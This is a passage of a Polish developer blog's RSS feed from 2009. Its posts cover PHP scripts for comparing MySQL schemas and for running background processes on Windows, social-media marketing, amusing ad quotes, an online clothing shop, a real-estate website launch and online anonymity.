				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defaultA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$defaultB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;default: <span style="color: #006699; font-weight: bold;">$defaultA</span>/<span style="color: #006699; font-weight: bold;">$defaultB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$extraA</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$info</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;extra: <span style="color: #006699; font-weight: bold;">$extraA</span>/<span style="color: #006699; font-weight: bold;">$extraB</span>, &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span><span style="color: #339933;">,</span><span style="color: #0000ff;">', '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>	<span style="color: #0000ff;">&quot;change `<span style="color: #006699; font-weight: bold;">$col</span>` `<span style="color: #006699; font-weight: bold;">$col</span>` <span style="color: #006699; font-weight: bold;">$typeA</span> &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #009900;">&#40;</span><span style="color: #000088;">$defaultA</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">''</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;default '<span style="color: #006699; font-weight: bold;">$defaultA</span>' &quot;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #009900;">&#40;</span><span style="color: #000088;">$nullA</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'NO'</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">'NOT NULL '</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.=</span>	<span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$extraA</span> &quot;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #009900;">&#125;</span>
			<span style="color: #990000;">unset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$col</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$defB</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$colB</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$colDefB</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
		<span style="color: #990000;">list</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$typeB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$nullB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$keyB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$defaultB</span><span style="color: #339933;">,</span> <span style="color: #000088;">$extraB</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$colDefB</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$colB</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'info'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&lt;span class='added'&gt;added&lt;/span&gt;&quot;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$result</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$colB</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'alter'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;add `<span style="color: #006699; font-weight: bold;">$colB</span>` <span style="color: #006699; font-weight: bold;">$typeB</span> &quot;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> errors<span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #990000;">mysql_errno</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;: &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">mysql_error</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$link</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #339933;">&lt;/</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>html<span style="color: #339933;">&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/09/26/porownywanie-baz-mysql-w-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>puścić coś w tle</title>
		<link>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/</link>
		<comments>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/#comments</comments>
		<pubDate>Thu, 27 Aug 2009 10:26:26 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[flex]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[background]]></category>
		<category><![CDATA[cmd]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[monitorowanie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[skrypt]]></category>
		<category><![CDATA[start]]></category>
		<category><![CDATA[tle]]></category>
		<category><![CDATA[tło]]></category>
		<category><![CDATA[uruchomić]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=260</guid>
		<description><![CDATA[Chcę móc uruchomić proces w tle za pomocą przeglądarki. Docelowo wszystko będzie działać na linkuksie, ale do testów przydałoby się to mieć u siebie. W linkuksie wiem. costam &#038; uruchamia proces w tle, potem fajnie mogę sobie zarządzać jobs . Ale ja chcę w Windows. Windows Vista, żeby nie było niedomówień. Wywołanie komendy przez exec [...]]]></description>
			<content:encoded><![CDATA[<p>Chcę móc uruchomić proces w tle za pomocą przeglądarki. Docelowo wszystko będzie działać na linkuksie, ale do testów przydałoby się to mieć u siebie. W linkuksie wiem.
<pre>costam &#038;</pre>
<p> uruchamia proces w tle, potem fajnie mogę sobie zarządzać
<pre>jobs</pre>
<p>. Ale ja chcę w Windows. Windows Vista, żeby nie było niedomówień. Wywołanie komendy przez <i>exec</i> działa, ale czeka na zakończenie, a nie o to chodzi. Proces ma działać długo, a ja tylko chcę monitorować jego stan, a nie zamulać Firefoksa.</p>
<pre>
exec("start /b c:/sciezka_do_php/php.exe C:/sciezka_do_skryptu_procesu/bgproces.php > test.txt");
</pre>
<p>Próbowałem też uruchomić jakiś batch (costam.bat), który z kolei miałby uruchomić skrypt PHP, ale to też nie zadziałało &#8211; cały czas przeglądarka czekała na zakończenie całego procesu. Rozwiązanie jest takie, że w PHP na Windows trzeba użyć klasy COM, czyli windowsowych mechanizmów OLE (Object Linking and Embedding). Wygląda to tak:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #666666; font-style: italic;">/*
 * skrypt do uruchomienia w tle skryptTla.php
 */</span>
<span style="color: #000088;">$fname</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'c:/log.html'</span><span style="color: #339933;">;</span> 
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">sleep</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fname</span><span style="color: #339933;">,</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;br/&gt;'</span><span style="color: #339933;">,</span> FILE_APPEND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #990000;">file_put_contents</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fname</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;hr /&gt;'</span><span style="color: #339933;">,</span> FILE_APPEND<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #009933; font-style: italic;">/**
 * skrypt widziany przez przeglądarkę
 */</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;uruchamiam &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PWD'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
  	<span style="color: #666666; font-style: italic;">// $cmd = '....';</span>
    <span style="color: #000088;">$nullResult</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;php <span style="color: #006699; font-weight: bold;">$cmd</span> &gt; /dev/null &amp;&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$cmd</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'sciezka_do_php/php.exe sciezkaSkryptuDoUruchomieniaWTle/skryptTla.php'</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$ws</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> COM<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;WScript.Shell&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$oExec</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$ws</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">Run</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cmd</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; koniec &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'H:i:s '</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot; OK &quot;</span><span style="color: #339933;">;</span>
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/08/27/puscic-cos-w-tle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>czym są media społecznościowe?</title>
		<link>http://nobigwords.ntxt.net/2009/08/02/czym-sa-media-spolecznosciowe/</link>
		<comments>http://nobigwords.ntxt.net/2009/08/02/czym-sa-media-spolecznosciowe/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 19:36:56 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[komunikacja]]></category>
		<category><![CDATA[media społecznościowe]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[relacje z klientami]]></category>
		<category><![CDATA[serwisy społecznościowe]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=255</guid>
		<description><![CDATA[Ciekawe, jak powoli uczą się firmy. Widocznie inni ludzie je tworzą, niż ci którzy zapełniają nasze-klasy, twittery, blipy, facebooki, goldenliny, grona, randki, sympatie, be2, linkediny, fotki, flickery, flakery, youtuby&#8230; itd. Dawno już, kiedy listy dyskusyjne (newsgroups), zaczęły służyć nieskrępowanej, globalnej komunikacji, zauważono nadchodzącą zmianę dotyczącą relacji B2C, czyli firmy i jej klienta. W roku 1999 [...]]]></description>
			<content:encoded><![CDATA[<p>Ciekawe, jak powoli uczą się firmy. Widocznie inni ludzie je tworzą, niż ci którzy zapełniają nasze-klasy, twittery, blipy, facebooki, goldenliny, grona, randki, sympatie, be2, linkediny, fotki, flickery, flakery, youtuby&#8230; itd. Dawno już, kiedy listy dyskusyjne (newsgroups), zaczęły służyć nieskrępowanej, globalnej komunikacji, zauważono nadchodzącą zmianę dotyczącą relacji B2C, czyli firmy i jej klienta. W roku 1999 pojawił się <a href="http://www.cluetrain.com/">Manifest Cluetrain</a> (Jest też polska książka &mdash; warto &mdash; np. <a href="http://merlin.pl/Manifest-www-cluetrain-com_Rick-Levine-Christopher-Locke-Doc-Searls/browse/product/1,253045.html">w merlinie</a>).</p>
<p>Ostatnio w tym samym chórze znalazłem (dzięki <a href="http://zjadamyreklamy.blox.pl/2009/07/Social-media.html?commented=1">Irenie</a>) głos mniej delikatny, choć zawodowy i czysty: <a href="http://www.slideshare.net/mzkagan">Marta Kagan</a>. Nie do końca rozumiem tylko ten wkurzony ton. Ale jeśli przejmować się buractwem i <a href="http://www.google.pl/search?hl=pl&#038;safe=off&#038;client=firefox-a&#038;rls=org.mozilla%3Apl%3Aofficial&#038;hs=FZM&#038;q=%22dostarczanie+profesjonalnych+rozwi%C4%85za%C5%84%22+&#038;btnG=Szukaj&#038;lr=">niekomunikatywnością marketingową</a> wielu firm, no to OK ;)</p>
<p>Ładnie zrobione, z dobrymi fotkami, typografią no i zdaje się dla tzw. społecznego dobra. Szacun.</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/08/02/czym-sa-media-spolecznosciowe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cytaty</title>
		<link>http://nobigwords.ntxt.net/2009/06/26/cytaty-z-reklam-google-adwords/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/26/cytaty-z-reklam-google-adwords/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 10:11:59 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[AdWords]]></category>
		<category><![CDATA[cytaty]]></category>
		<category><![CDATA[humor]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=232</guid>
		<description><![CDATA[Czasem trafiam na fajne teksty, najczęściej niemądre, postanowiłem je tu zbierać. Gdyby ktoś miał ochotę coś dorzucić &#8212; zapraszam :) Kajakiem spływ potemsportowe Wytrzyj kurze! ornitologiczne Piwo Strzelec jest bardzo dobre z billboardów piwa Strzelec Świerzbionka własne Boeuf Ostrogonow własne Kotlet De Voilaj z dworca PKP we Wrocławiu Insert monet z boksów na bagaż na [...]]]></description>
			<content:encoded><![CDATA[<p>Czasem trafiam na fajne teksty, najczęściej niemądre, postanowiłem je tu zbierać. Gdyby ktoś miał ochotę coś dorzucić &mdash; zapraszam :)</p>
<ul>
<li>Kajakiem spływ potem<small>sportowe</small></li>
<li>Wytrzyj kurze! <small>ornitologiczne</small></li>
<li>Piwo Strzelec jest bardzo dobre <small>z billboardów piwa Strzelec</small></li>
<li>Świerzbionka <small>własne</small></li>
<li>Boeuf Ostrogonow <small>własne</small></li>
<li>Kotlet De Voilaj <small>z dworca PKP we Wrocławiu</small></li>
<li>Insert monet <small> z boksów na bagaż na dworcu PKP we Wrocławiu</small></li>
<li>Powiększ penisa, opóźnij wytrysk Upominki za 5 groszy Kup Teraz!  <small>z Google Adwords</small></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/26/cytaty-z-reklam-google-adwords/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nikita Chickita</title>
		<link>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</link>
		<comments>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 20:29:36 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[e-commerce]]></category>
		<category><![CDATA[moda]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[chickita]]></category>
		<category><![CDATA[ciuchy]]></category>
		<category><![CDATA[ciuchy dla dziewczyn]]></category>
		<category><![CDATA[dziewczyn]]></category>
		<category><![CDATA[electric]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[les ettes]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[nastolatki]]></category>
		<category><![CDATA[nikita]]></category>
		<category><![CDATA[nixon]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[portal]]></category>
		<category><![CDATA[praca]]></category>
		<category><![CDATA[rusty]]></category>
		<category><![CDATA[sprzedaż]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[vans]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/</guid>
		<description><![CDATA[A także Electric, Etnies, Les Ettes, Nixon, Rusty, Sheroll, Vans, Vestal i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i [...]]]></description>
			<content:encoded><![CDATA[<p>A także <a href="http://chickitashop.com/electric-m-7.html">Electric</a>, <a href="http://chickitashop.com/etnies-m-9.html">Etnies</a>, <a href="http://chickitashop.com/les-ettes-m-6.html">Les Ettes</a>, <a href="http://chickitashop.com/nixon-m-5.html">Nixon</a>, <a href="http://chickitashop.com/rusty-m-12.html">Rusty</a>, <a href="http://chickitashop.com/sheroll-m-3.html">Sheroll</a>, <a href="http://chickitashop.com/vans-m-2.html">Vans</a>, <a href="http://chickitashop.com/vestal-m-11.html">Vestal</a> i inne&#8230; Właśnie przechodzę szybką edukację w dziedzinie marek odzieżowych dla nastolatek, a to dzięki sklepowi chickitashop.com, który pomagam ustawić w odpowiednim miejscu internetu :) Prowadzi go moja Kuzynka, więc pewni politycy nazwaliby to układem. Ale fajnie jest zająć się zupełnie inną branżą i poobserwować &mdash; całkiem imponujący &mdash; ruch na stronie. </p>
<p>W tej chwili sklep bazuje na opensourcowym oscGold, czyli polskiej adaptacji osCommerce. Jednak pomimo że to ogromny projekt i faktycznie pozwala dość prostymi środkami uruchomić i prowadzić sprzedaż, to czytelność kodu i jego styl przypominają mi własne produkty&#8230; sprzed pięciu lat. Domyślam się, że refaktoryzacja tak dużego przedsięwzięcia to niełatwa rzecz i pewnie dlatego pełno tu stałych i zmiennych globalnych, dziesiątek &#8216;includowanych&#8217; plików, mieszania layoutu i logiki. Kusi, żeby zrobić wszystko od nowa&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/06/19/nikita-chickita/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Domy w Sosnowej Dolinie mają nową stronę</title>
		<link>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/#comments</comments>
		<pubDate>Thu, 21 May 2009 09:53:23 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[actionscript]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[ntxt.net]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[aig]]></category>
		<category><![CDATA[AIG/Lincoln]]></category>
		<category><![CDATA[deep linking]]></category>
		<category><![CDATA[domy jednorodzinne]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[lincoln]]></category>
		<category><![CDATA[magdalenka]]></category>
		<category><![CDATA[mieszkania]]></category>
		<category><![CDATA[ntxt]]></category>
		<category><![CDATA[residential]]></category>
		<category><![CDATA[sękocin]]></category>
		<category><![CDATA[sosnowa dolina]]></category>
		<category><![CDATA[strona]]></category>
		<category><![CDATA[warszawa]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=198</guid>
		<description><![CDATA[Po dłuuugim okresie pracy, udało się uruchomić stronę podwarszawskiego osiedla domów firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje mieszkaniowej działalności dewelopera O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot [...]]]></description>
			<content:encoded><![CDATA[<p>Po dłuuugim okresie pracy, udało się uruchomić stronę <a href="http://sosnowadolina.pl">podwarszawskiego osiedla domów</a> firmy AIG/Lincoln Polska. To już nasza czwarta internetowa realizacja dla tej firmy. Strona to kontynuacja residential.pl, witryny zbierającej prezentacje <a href="http://residential.pl">mieszkaniowej działalności dewelopera</a> O ile residential.pl jest właściwie czysto flashową prezentacją odnośników do konkretnych treści na innych stronach, to sosnowadolina.pl już te treści zawiera. Kłopot polegał na sensownym utrzymaniu animowanego nagłówka z menu i obrazkami, czyli spójności &#8220;user experience&#8221; ;) z jednoczesnym przechodzeniem między stronami. Najeżdżanie kursorem na fotkę powoduje rozuwanie harmonijki zdjęć, klikanie na opcje menu i obrazki czasem przenosi na inną stronę, czasem wyświetla podmenu. Konsultując rozwiązania z Klientem, w końcu jakoś to opanowaliśmy. Zdecydowaliśmy się zaakceptować jedną z wad Ajaksa, związaną z niedziałającym przyciskiem <i>wstecz</i>. Wiem, że są sposoby i na to, ale moim zdaniem zbyt skomplikowane jak na tę prostą strukturę. Za to działają deep-linki, czyli bezpośrednie odnośniki do treści. </p>
<p><small>Aha, niniejszym bardzo dziękujemy Katarzynie, obu Magdalenom i Adminowi za miłą współpracę, zaangażowanie i&#8230; pochwały. Panu Tomaszowi z <a href="http://onyx.pl">firmy hostingowej Onyx</a> również, za szybkie działanie i fachową pomoc.</small></p>
]]></content:encoded>
			<wfw:commentRss>http://nobigwords.ntxt.net/2009/05/21/domy-w-sosnowej-dolinie-maja-nowa-strone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>tożsamość incognito i pod przykryciem</title>
		<link>http://nobigwords.ntxt.net/2009/05/16/tozsamosc-incognito-i-pod-przykryciem/</link>
		<comments>http://nobigwords.ntxt.net/2009/05/16/tozsamosc-incognito-i-pod-przykryciem/#comments</comments>
		<pubDate>Sat, 16 May 2009 11:39:59 +0000</pubDate>
		<dc:creator>Piotr Tomaszewski</dc:creator>
				<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[media]]></category>
		<category><![CDATA[reklama]]></category>
		<category><![CDATA[rynek]]></category>
		<category><![CDATA[tekst]]></category>
		<category><![CDATA[życie]]></category>
		<category><![CDATA[anonimowość]]></category>
		<category><![CDATA[anonimowy]]></category>
		<category><![CDATA[anonimy]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[czuma]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[incognito]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[kataryna]]></category>
		<category><![CDATA[kłamstwa]]></category>
		<category><![CDATA[komunikacja]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[opinie]]></category>
		<category><![CDATA[PR]]></category>
		<category><![CDATA[społeczeństwo]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://nobigwords.ntxt.net/?p=189</guid>
		<description><![CDATA[Większość z nas, surfując tu i tam chętnie surfuje &#8220;pod przykryciem&#8221;, jak to ostatnio przetłumaczyła &#8220;undercover&#8221; gazeta.pl (a może PAP?). Wolelibyśmy nie ujawniać swoich tzw. danych osobowych, kiedy nie jest to konieczne. Już nawet Google&#8217;a zbieranie statystycznych danych jest oprotestowywane. Od początku swej popularności internet dawał, złudne zresztą, poczucie nierozpoznawalności. Przez strony WWW przewijały się, [...]]]></description>
			<content:encoded><![CDATA[<p>Większość z nas, surfując tu i tam chętnie surfuje &#8220;pod przykryciem&#8221;, jak to ostatnio <a href="http://wiadomosci.gazeta.pl/Wiadomosci/1,80277,6612897,Polak_skazany_za_wynajecie_prostytutki_dla_14__letniego.html">przetłumaczyła &#8220;undercover&#8221; gazeta.pl (a może PAP?)</a>. Wolelibyśmy nie ujawniać swoich tzw. danych osobowych, kiedy nie jest to konieczne. Już nawet <a href="http://en.wikipedia.org/wiki/Criticism_of_Google">Google&#8217;a zbieranie statystycznych danych</a> jest oprotestowywane. Od początku swej popularności internet dawał, złudne zresztą, poczucie nierozpoznawalności. Przez strony WWW przewijały się, jak przez dworce kolejowe, masy czytelników. Pojawiła się jednak, wraz z falą tzw. Web 2.0, zmiana. Od blogów, przez fora po porównywarki cenowe, niemal wszędzie można dopisać coś od siebie. To oczywiście dobra zmiana, uwalniająca komunikację między ludźmi na niespotykaną dotąd skalę. Dawno już cieszyli się z tej zmiany np. autorzy <a href="http://www.cluetrain.com/">manifestu cluetrain</a>. Razem z tą skalą uwalniane są jednak rozmaite komunikacyjne potwory. Mnie zajął szczególnie jeden &mdash; anonimowość.</p>
